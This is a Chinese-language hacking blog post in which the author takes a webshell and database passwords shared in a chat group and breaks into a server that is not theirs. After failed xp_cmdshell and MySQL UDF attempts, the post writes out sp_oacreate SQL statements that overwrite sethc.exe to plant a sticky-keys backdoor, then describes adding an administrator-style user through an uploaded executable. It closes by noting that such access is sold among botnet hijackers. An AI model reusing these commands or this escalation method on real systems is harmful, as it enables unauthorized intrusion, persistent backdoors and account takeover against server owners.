今天某群某小盆友在群发shell求提权。看见他发了几次。听着挺诱惑（SA\ROOT密码都有）,本着多一台  
服务器的YD心理,放下手中香蕉,Fire~~~  
直接连接MSSQL提权。xpsql.cpp: 错误 5 来自 CreateProcess（第 737 行） 差点就瞎了俺狗眼.于是转  
战MYysql。果断UDF上去.壮士一去不复返啊。。。。shell无法启动。于是百度google同时上。  
刚输入xpsql.cpp: 第一个匹配关键字就是这句了,结果还贼多...心寒啊.大半个小时愣是没找到能用的办  
法。  
于是吃根香蕉自己想吧,想着先用其他办法拿下服务器权限进服务器看看是什么地方问题。  
PR无果。尝试用shell.users. 全无权限。CMD system 权限也被删了。  
于是上传个CMD到网站目录。能执行一些很小权限的命令。C盘目录以下的仍然拒绝访问。看来还是得从数据库下手。  
既然CMD我上传一个到有目录的地方就可以执行了。那么其他也应该可以。于是随意上传个记事本上去。执行完查看进程果断有了。于是有了个思路。用SQL语句把有权限目录下的CMD拷到C盘有权限的。  
而经过一翻探测。C盘以下全部是SYSTEM都拒绝访问的。于是想到了传说中的三门(SHIFT\放大镜\屏幕键盘) 因为我尝试连接远程桌面的时候 发现这三个还是可以运行的。  
于是就用到如下语句：  
declare @o int exec sp\_oacreate 'scripting.filesystemobject', @o out exec sp\_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe','c:\windows\system32\sethc.exe';  
declare @oo int exec sp\_oacreate 'scripting.filesystemobject', @oo out exec sp\_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\sethc.exe';  
等于是做了一个shift后门。然后尝试之.失败了,进程是有了，但是却不弹出explorer界面。  
之后尝试其他程序也都无果,于是想会不会是我拷贝的文件没有权限,于是从本地上传一个explorer到网站目录,修改上面的语句,从网站目录这个explorer替换sethc，结果还是无效~按道理应该执行了就会有的。这点实在不明白~  
但是进程确实是有了。然后就像,不用界面直接添加账户。  
然后立即写个添加用户（不直接net user ...而是 e:\wwwroot\cmd.exe net user...）的批处理编译成EXE 上传到网站目录,再用上述语句替换sethc。果断成功了~~~  
再后来嘛。。。自然去群炫耀一翻,结果一位同学告诉我,那些抓鸡的说的解封就是这个，能卖几百呢。哎,这技术学的，抓鸡的都不如了，求包养啊~